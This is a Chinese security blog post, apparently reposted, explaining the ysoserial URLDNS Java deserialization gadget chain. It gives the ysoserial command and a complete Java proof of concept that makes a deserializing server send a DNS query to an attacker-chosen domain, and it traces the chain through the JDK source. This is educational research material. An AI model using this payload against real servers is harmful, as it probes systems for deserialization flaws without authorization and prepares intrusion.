【yso】 - URLDNS反序列化分析

admin 2024年12月17日13:42:24评论2 views字数 4671阅读15分34秒阅读模式

前言gadget分析    触发过程    POC测试代码    HashMap        HashMap的原理        设置新键值对        读取key的value    反序列化过程        HashMap序列化过程        HashMap反序列化过程jdk1.8与jdk1.7u80调用路线回看payload生成关键参考资料

前言

URLDNSysoserial中最简单的gadget,利用它可以判断是否存在反序列化点

如果目标服务器存在反序列化动作(readObject),处理了我们的输入,同时按照我们给定的URL地址完成了DNS查询,我们就可以确认是存在反序列化利用点的。

同时因为这个利用链不依赖任何第三方库,没有什么限制。

yso用法命令:

java -jar ysoserial-master-30099844c6-1.jar URLDNS "http://urldns.f9znici4.3cm.pw"

gadget分析

触发过程

Gadget Chain:
  HashMap.readObject()
      HashMap.putVal()
          HashMap.hash()
              URL.hashCode()

POC测试代码

package com.example;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
   public static void main(String[] args) throws Exception {
       // 0x01. 生成payload
       // 设置一个hashMap
       HashMap<URL, String> hashmap = new HashMap<URL, String>();
       // 设置可以接收DNS查询的地址
       URL url = new URL("http://urldns.f9znici4.3cm.pw");
       //将URL的hashCode字段设置为允许修改
       Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
       f.setAccessible(true);

       // 1. 设置url的hashCode字段为任意值
       f.set(url, 0x1234);// 这样操作是为了不在HashMap.put中触发URLDNS查询,如果不这么写就会触发两次
       // 2. 将url放入hashmap中
       hashmap.put(url, "adsf");
       // 修改url的的hashCode字段为-1,为了触发DNS查询
       f.set(url, -1);

       // 0x02. 写入文件模拟网络传输
       ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("urldns.ser"));
       oos.writeObject(hashmap);

       //0x03. 读取文件,进行反序列化触发payload
       ObjectInputStream ois = new ObjectInputStream(new FileInputStream("urldns.ser"));
       ois.readObject();
  }
}

运行后,反序列化操作(readObject)后,可以看到有DNS请求:

【yso】 - URLDNS反序列化分析

从payload结构可以看到,有三个主要的名词:HashMapURLHashCode

最终的payload结构是:一个HashMap,里面包含了 一个修改了HashCode-1URL

我们可以选择在HashMapreadObject处下断点进行调试。

HashMap

HashMap的原理

HashMap是一种数据结构,本质在使用上是存取key-value键值对的使用方式,但在实现上引入了key值的hash映射到一维数组的形式,再引入链表来解决hash碰撞问题(不同key映射到数组同一位置)。

设置新键值对

  1. 计算key的hash:Hash(k)

  2. 通过Hash(k)映射到有限的数组a的位置i

  3. 在a[i]的位置存入value

  4. 因为把计算出来的不同的key的hash映射到有限的数组长度,肯定会出现不同的key对应同一个数组位置i的情况。如果发现a[i]已经有了其他key的value,就放入这个i位置后面对应的链表(根据多少的情况可能变为树)中。

读取key的value

  1. 计算key的hash:Hash(k)

  2. 通过Hash(k)映射到有限的数组a的位置i

  3. 读取在a[i]的位置的value

  4. 如果发现a[i]已经有了其他key的value,就遍历这个i位置后面对应的链表(根据多少的情况可能变为树),去查找这个key再去取值。

反序列化过程

HashMap序列化过程

java.util.HashMap#writeObject分为三个步骤进行序列化:

  1. 序列化写入一维数组的长度

  2. 序列化写入键值对的个数

  3. 序列化写入键值对的键和值

private void writeObject(java.io.ObjectOutputStream s)
   throws IOException {
   int buckets = capacity();
   // Write out the threshold, loadfactor, and any hidden stuff
   s.defaultWriteObject();
   s.writeInt(buckets);
   s.writeInt(size);
   internalWriteEntries(s);
}

HashMap反序列化过程

java.util.HashMap#readObject

private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException
  {
       //...省略代码...
       //读取一维数组长度,不处理
       //读取键值对个数mappings
       //处理其他操作并初始化

       //遍历反序列化分辨读取key和value
       for (int i = 0; i < mappings; i++) {
           //URL类也有readObject方法,此处也会执行,但是DNS查询行为不在这,我们跳过
               K key = (K) s.readObject();
               V value = (V) s.readObject();
           //注意以下这句话
           putVal(hash(key), key, value, false, false);
      }
  }

putVal是往HashMap中放入键值对的方法,上面也说到在放入时会计算key的hash作为转化为数组位置i的映射依据。

而DNS查询正是在计算URL类的对象的hash的过程中触发的,即hash(key)。

java.util.HashMap#hash

static final int hash(Object key) {
   int h;
   return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

注意这里的参数key是是hashmap对象的key(从序列化的数据中来),即传入的key是一个URL对象。这里的key.hashCode()调用的是URL类的hashCode方法。

java.net.URL#hashCode

    transient URLStreamHandler handler; //这个URL传输实现类是一个transient临时类型,它不会被反序列化(之后会用到)
   private int hashCode = -1;//hashCode是private类型,需要手动开放控制权才可以修改。要用反射修改下值
   //...

   public synchronized int hashCode() {
       //判断如果当前对象中的hashCode不为默认值-1的话,就直接返回
       //意思就是如果以前算过了就别再算了
       if (hashCode != -1)
           return hashCode;
       //如果没算过,就调用当前URL类的URL传输实现类去计算hashcode
       hashCode = handler.hashCode(this);//进入此处
       return hashCode;
  }

java.net.URLStreamHandler#hashCode

    // 次出传入的对象为this,即URL,我们先前设置的URL的值
   protected int hashCode(URL u) {
       int h = 0;// 计算的hash的结果

       // Generate the protocol part.
       // 使用url的协议部分,计算hash
       String protocol = u.getProtocol();
       if (protocol != null)
           h += protocol.hashCode();

       // Generate the host part.
       // **通过url获取目标IP地址**(关键),再计算hash并拼接。**这个过程就会发出DNS查询请求**
       InetAddress addr = getHostAddress(u);
       if (addr != null) {
           h += addr.hashCode();
      } else {// 如果没有获取到域名对应的IP,就直接把域名计算hash并拼接
           String host = u.getHost();
           if (host != null)
               h += host.toLowerCase().hashCode();
      }
   // ...

如此,getHostAddress(u)这一关键语句,通过我们提供的URL地址去获取对应的IP。

jdk1.8与jdk1.7u80调用路线

jdk1.8

  1. HashMap->readObject()

  2. HashMap->hash()

  3. URL->hashCode()

  4. URLStreamHandler->hashCode()

  5. URLStreamHandler->getHostAddress()

  6. InetAddress->getByName()

jdk1.7u80

  1. HashMap->readObject()

  2. HashMap->putForCreate()

  3. HashMap->hash()

  4. URL->hashCode()

  5. 之后相同

回看payload生成关键

  1. HashMap对象中有一个key为URL对象的键值对

  2. 这个URL对象的hashcode需要为-1

参考资料

JAVA反序列化-ysoserial-URLDNS

ysoserial payload分析

原文始发于微信公众号(信安文摘):【yso】 - URLDNS反序列化分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月17日13:42:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【yso】 - URLDNS反序列化分析https://cn-sec.com/archives/866687.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息